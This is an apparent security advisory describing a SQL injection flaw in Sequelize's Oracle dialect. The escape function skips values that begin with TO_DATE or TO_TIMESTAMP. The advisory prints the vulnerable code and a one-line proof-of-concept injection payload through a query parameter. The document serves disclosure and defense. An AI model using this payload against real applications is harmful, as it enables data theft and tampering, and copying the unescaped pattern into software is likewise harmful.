Sequelize: SQL Injection (Oracle DB)
### Summary SQL Injection is possible with strings only **if dialect is set to `oracle`**. The vulnerability was confirmed on Sequelize v6.37.3. ### Details The `escape` function defined in `sql-string.js` does not escape quotes if the value starts with `TO_TIMESTAMP` or `TO_DATE`. ```javascript } else if (dialect === 'oracle' && typeof val === 'string') { if (val.startsWith('TO_TIMESTAMP') || val.startsWith('TO_DATE')) { return val; } val = val.replace(/'/g, "''"); } ``` ### PoC Suppose the application has the following code: ```javascript var result = await models.Student.findOne({ where: { firstName: req.query.firstName } }); ``` An attacker can inject arbitrary sql expressions. `http://host/path?firstName=TO_DATE('0','Y')||'' OR 1=1--` The resulted SQL will be: ```SQL SELECT ... WHERE "Student"."firstName" = TO_DATE('0','Y')||'' OR 1=1-- ORDER BY "Student"."id" OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY; ``` ### Impact Data theft and tampering.
